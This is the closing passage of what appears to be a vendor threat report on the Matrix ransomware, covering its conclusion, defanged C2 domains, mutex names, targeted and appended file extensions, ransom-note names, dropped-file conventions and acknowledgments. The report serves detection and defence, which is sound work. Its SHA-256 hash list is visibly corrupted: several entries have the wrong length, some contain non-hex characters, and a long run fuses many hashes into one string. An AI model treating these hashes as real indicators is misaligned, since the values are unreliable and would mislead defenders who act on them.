The Matrix attackers initially issued extortionate threats, but after we didn’t respond to their demands (other than sending them a few dummy files that the ransomware had encrypted), they continued to send what appeared to be increasingly desperate email missives, eventually offering to reduce the initial ransom to $1,500.

**Conclusion**

While it is not in wide distribution, Matrix appears to herald a future in which small, bespoke ransomware gangs engage in moderate-return targeted attacks simply because the low-hanging fruit exists. The attackers seemed at least marginally competent.

The weak link that leads to targets becoming victims remains cross-firewall RDP access, and a lack of strong, multi-factor authentication. Systems administrators would be well advised to look for, and close, obvious open ports that a dedicated attacker might exploit. Consider the value of security by obscurity: it’s worth zero once someone knows where to look.

Sophos Endpoint and Intercept X can block Matrix and will detect it and its components as *Troj/Matrix-*.
IOCs

Domains

blushing-gasket[.]000webhostapp[.]com
murik[.]xyz
murikos[.]in
fredstat[.]000webhostapp[.]com
jostat[.]000webhostapp[.]com
no7654324wesdfghgfds[.]000webhostapp[.]com
fb[.]mygoodsday[.]org
einan[.]mygoodsday[.]org
jostat[.]mygoodsday[.]org
third[.]mygoodsday[.]org
mai-hoand[.]000webhostapp[.]com
pre[.]mygoodsday[.]org
nobad[.]mygoodsday[.]org
trud[.]mygoodsday[.]org
chel[.]mygoodsday[.]org
jnss[.]mygoodsday[.]org

Figure 33: VirusTotal Graph relationship map between Matrix C2 domains, samples, and IPs show most of the malicious files originated from Netherlands-hosted IP addresses
Matrix: A Low-Key Targeted Ransomware

**Mutex names:**

OurMainMutex999, OurMainMutex999net
MutexAnon, MutexAnonDONW
MutexCore, MutexCoreDONW
MutexFox, MutexFoxDONW
MutexANN, MutexANNDONW
MutexKok, MutexKokDONW
MutexKOK08, MutexKOK08DONW
MutexNEWRAR, MutexNEWRARDDONW
MutexFASTB0B, MutexFASTB0B0DONW
MutexEMAN, MutexEMANDONW
MutexTHDA, MutexTHDADONW
MutexRAD, MutexRADDONW
MutexEMANS0, MutexEMANS0DONW
MutexGMPF, MutexGMPFDONW
MutexATOM, MutexATOMDONW
MutexNOBAD, MutexNOBADDONW
MutexTRU8, MutexTRU8DONW
MutexCHE808, MutexCHE808DONW
MutexFASTA, MutexFASTADONW
MutexJNSS, MutexJNSSDONW
MutexFASTBK, MutexFASTBKDONW
MutexFBK, MutexFBKDONW

**Targeted Extension list**

.mdf, .ndf, .ldf, .myd, .eql, .sql, .fdb, .vhd, .sqlite, .sqlite3, .sqlitedb, .bak, .tib, .db, .dbk, .db2, .db3,
.dbc, .xlsx, .xls, .pst, .vpd, .cer, .cert, .csr, .pem, .key, .1cd, .dt, .dsb, .dbf, .dbx, .mdb, .sdf, .ndf, .ns2,
.ns3, .ns4, .nsf, .accdb, .docx, .doc, .dwg, .cdr, .ods, .odt, .pdf, .txt, .jpg, .jpeg, .psd, .zip, .rar, .7z

**Encrypted file extensions**

.[barboza40@yahoo.com]
.[Linersmik@naver.com][Jinnyg@tutanota.com]
.[poluz@tutanota.com]
.[Yourenencrypt@tutanota.com]
.[Files4463@tuta.io]
.[RestoreFile@tutanota.com]
.[RestoreFile@qq.com]
.[oken@tutanota.com]
.[Vfemacry@mail-on.us]
.[MTXLOCK]
.[d3336666@tuta.io]
.[ANN]
.[CORE][Bitmine8@tutanota.com]
.[FOX]
.[KOK8]
.[KOK08]
.[NEWRAR]
.[FASTB0B]
.[FASTB]
Matrix: A Low-Key Targeted Ransomware

.EMAN
.THDA
.RAD
.EMAN50
.GMPF
.ATOM
.NOBAD
.TRU8
.FASTA
.JNSS
.FBK

**Readme files**

!ReadMe_How_To_Decrypt_Files!.rtf
!ReadMe_To_Decrypt_Files!.rtf
#What_Wrong_With_Files#.rtf
#README_ANN#.rtf
#ReadMe_T0_Decrypt_Files.rtf
#CORE_README#.rtf
#ANN_README#.rtf
#KOK8_README#.rtf
#FOX_README#.rtf
#KOK08_README#.rtf
#_#FASTBOB_README#_.rtf
#NEWRAR_README#.rtf
!README_FASTBOB!.rtf
#README_EMAN#.rtf
!README_THDA!.rtf
#_#RAD_README#_.rtf
#README_EMAN50#.rtf
!!!README_GMPF!!!.rtf
#Decrypt_files_ReadMe#.rtf
!README_ATOM!.rtf
#NOBAD_README#.rtf
!README_KOK08!.rtf
!README_TRU8!.rtf
#README_FASTA#.rtf
!README_JNSS!.rtf
#_#README_FAST#_.rtf
!README_FBK!.rtf
Dropped file naming conventions

XXXXXXXX.exe (1,614 KB) – A copy of the original sample (this is executed with "-n" parameter)
XXXXXXXX.cmd (1 KB) – Content of the TAKE resource
XXXXXXXX.cmd (222 KB) – Handle [Sysinternals], content of HX64 or HX86 resource
KEYIDS.KLST (1 KB) – Contains information about the machine, personal id, number of files and file sizes
C:\Users\{username}\AppData\Roaming\Decrypt_files_ReadMe#.rtf (20 KB) – Ransom note
C:\Users\{username}\AppData\Roaming\XXXXXXXXXXXXXXX.vbs (1 KB) – Content of the WVBS resource
C:\Users\{username}\AppData\Roaming\XXXXXXXXXXXXXXX.jpg (40 KB) – The wallpaper; content of the WALL resource
C:\Users\{username}\AppData\Roaming\XXXXXXXX.cmd (1 KB) – In order to use cipher.exe (X: can be a-z, A-Z, 0-9)

Sample hashes (SHA-256)
13c0fd18c602dd6aa71d7807ad617a1871cf24b366a12c83f2f278f301f5c
9d96bba99c2617547f5145c2f1ceee857ae7c7a78a382150b900bba51859703
6044a92189f1d187f84f98327e6f6678a0c0ae497bbce4e5d823612fbc0b4
[decryption tool]
2a12ebeb58ac0a2a3e9c9d1dbbf1752086ee19387aaa6ae1232eaa13c8bfc2d80a
98024a90889999f10a7e5e2222a0a806070209304bdc3b340e4bb72b0e
864c5468754f656efb5dcfe8b13030fc80457cf5b5695eca3678228666fe7ec
e27127d8c76b892c2610e236c2f04e38f835ebf3383aa1af58555e8462
a26087b86d54cd7072f945e43d7feeb98cfc505312d2cd0a2b043725eea
47e3011dafa163d28ee9fb3a7cedf8f13d09e7a6ac559337e1f9d5d4a9b20
6d7c1e93df8904358ae847f47075ca97cca5c54f043febe1fff0fac94a048297
e3d8dede0b7ff158a707e60bf4d90757aadc6414d518d66c1699cfc305c82f9
0fbd007ce63f7ae193683da2c6e0da2c8219b631a7455d5258905fe33dec13
ed28cb4a0861297628275db21a791d972c0fbd495e51d0f8228f4eacabb6c0b42
996e85f12a1a7e8267dccc32ae9ad20cfff44115182e07015030061627111fbe3c9
65855e39e325238153e5cf4aa393834c7b06b89197a73a0152d28a597642db2
83c5e7c7daeb79561703e0127c43877b9a62896491369116c64613cc6f52484
9984b03b3e3a35419e0b626df77693604ce14d7ce38876d5630c2f7700a872e
f4285bf2f810261fc400d124c64ba768ca5dad4e214b1s5499dec0113cb420
65e3fc1c6de2f41504168f31d9769e4f4970943bfaf2146839e68a7867f1f8
57787777dd6d79eef55b1601d01cb17aeac903ffcc2d6e7e40e3db29a7316f47e8
4e9efa0f8ba2dbecfe4a024362a0f5542e410ea30cc9ab66fcd3366072c8fb1
ee944a8b87dfbbf3ca8c0ab623733f3ca0f9ae52efdc3e0f656591c6b104e75
36595761a1a03202081d9286849ab5606d07eb394816e5547da6c3ccaf87981ee
5b15f540a24d127deee2fbbf468a4035d2c3a4233af58f27c184da8e391077b
8ffe957e88d61a502691591362e106351862d24d92a624a08f76a0eeb2752c50
699c050b2a5d629f19a84ce6e2418677890612bb947259cf83e042c1770c103
7e7bc5f61e041787e289188bdf6e546a067b88fa6faccbec424134780ea2ffe725
a23d3caed5e69dc9e7f9e57e6988500fd1dd4f669af426d35efc64cf9a4bab7a
c63b6ce9df080a582972192e0287186eccc5f6537219bd754a2b024059760
dc134589a2494283eb9e81f3ac6b8215bdfde422a04e6248072965cef3e41643833ec79d84c8bf750149f1b340376203e01aee90c8e30748636f4cab36812aadb9d6c6d72e7ccc5ea063ea1fc99e4f144c4f7f77ec8726da0111134d8589c7d21761d196358a465a6e620520854cc622cc5672470f0404c37b160c8bcfdaaf50c8a167489a9e271a4af5529aeae0bab2a8ac983a4f46b6cc185972052362dd81c9f7b6a64ba9bf62473c4c87fc62e25408d115565679f4bf100f4ddbb06c9bd296e9060d56e66958b059f2a5053f7f4d2666858e6e36afdb56453607f0f9570bo03bf1c7b596a862978999eeba0703e6e4d9592c9a57e2fed3a5e5cd747bea70b03bf1c7b596a862978999eeba0703e6e4d9592c9a57e2fed3a5e5cd747bea706768161e9e450dea861a65a0b29ff4179e1999f09a24e4f88edd765625a6e86b751907adbf35ed6bb7e210f7bab888ed858802727df69c1e5a2d37a9c53941af29a59f8d5960a1619b9166b7c5d74a9af6f6a947f0d3daeeb31cbae6b175b99aeb94c47e4f52a4bd8f0c05c0b939a25b6501a7bf4f03fc9586f4e54a2f07bec4edcabo01aadac1d944f5ec131628565a831fcfcfcd4292ae520a6203e4a44d14cad656f8093179f1bddd76bbda6e2538f176cc13b77c4bdc58eef4a193697be3929012d24363482627f49ad77f67ad12b2bac4f53c0a3a6145dbd8343a00a27c9a2f823ac86b7e7f7a4f9939d014ee266f6ca912ad260988075f8e82db93138f3f29b1cbaf836e55f54df3ee9b9bb3026697b266f6ebd00031f1c9b1629b9094c47f3e0fd3d56b577a46045bf6f2dc4f036a8788236c26060cbeb42e2ab29dc475708e6595ba2f28f8b30e1752d2530f3878bc73fb779d07c7b512610a206f4f4bd83c52a26a26978abe85b0d3255f0b02196482a1a11eb7c4f7e1901679cf84d060155380f04e9a84f548c776d91de64a1794e4635c752a1d0f4647432611c4b187f250900ec274152138ed51aeec6ff2f2cbcb76be396b35057948bc8b846862155a80b3b14130f3147b02435713ae067656242713ef2f377f0d3ca8f019dfc995cfbe8805165621023d9e0fb99b9d9504b5b5db1dc916d6cc25d9c3847d4f2b31b36f63792e9e3db6886a3f64a5dbd3e64b488e3a9e153ad0f69c511c1844f1652becd860ac90c3091e1b1113e4aa5f9a62df4b4137d3c2de84ec8c2084e647c0ff168b0a9f9a2db8bace3fd1eee4fda9356147c7ba959af80f18f3f8b93913c27bc63cd163efaae727d20ade837225ea60a61394f854655cae93dd5f18a19f388fa7ce06af576eaa4f41d66e1e1eb43c4d0fbb7f509101c3ee15e3c549c67665a3901c5f4cc5e859e40236bfcf43bb0ef4e3d3c257a86c875c1435b67180a55e74b005c0528cd0ba09ce0f5f826ffbe878294a4be10adb8192eeabab48a80a8050bb5a500723f34393a44e72b5a1d8e11887b412b71c406c385n0aa07dc37bd55970255569aee366923402a25454de3351600ebe7e253c4f4afa6e9b0f20f44390b1721b1316d1758936a6d7ef684e201bb8c99b2137788883d0c15fa2a20ed2bd708e8ed64a878df65819856585c4088bbdc51587b243e4437907a8340d1c4df773ef03e4691dbab6735e78df41452b220fb8776259403c106381d363e5e280f465575f3facc247341919261ada2b2c43cfad15c21027ab9879cefc6cf0c62ae57352bd3b03787df3ad582946371b469554f4df650f5096280cd2af6527b3b807002280df3f401297394d46ce66a4d0a1092529aba0548520bff7501be7447c0b8ee358fe72c6229bf59caee40568f1e45a342e5811835137968b5ebeb1fa10e6e14fa25732c879c14f554c4de2
Matrix: A Low-Key Targeted Ransomware

Acknowledgments

The report authors would like to thank the following individuals or groups for their contribution to this report:

Gabor Szappanos and Balázs Vágó, SophosLabs

Virustotal.com

The steering and speaker committees of the BlackHoodie reverse engineering conference [www.blackhoodie.re]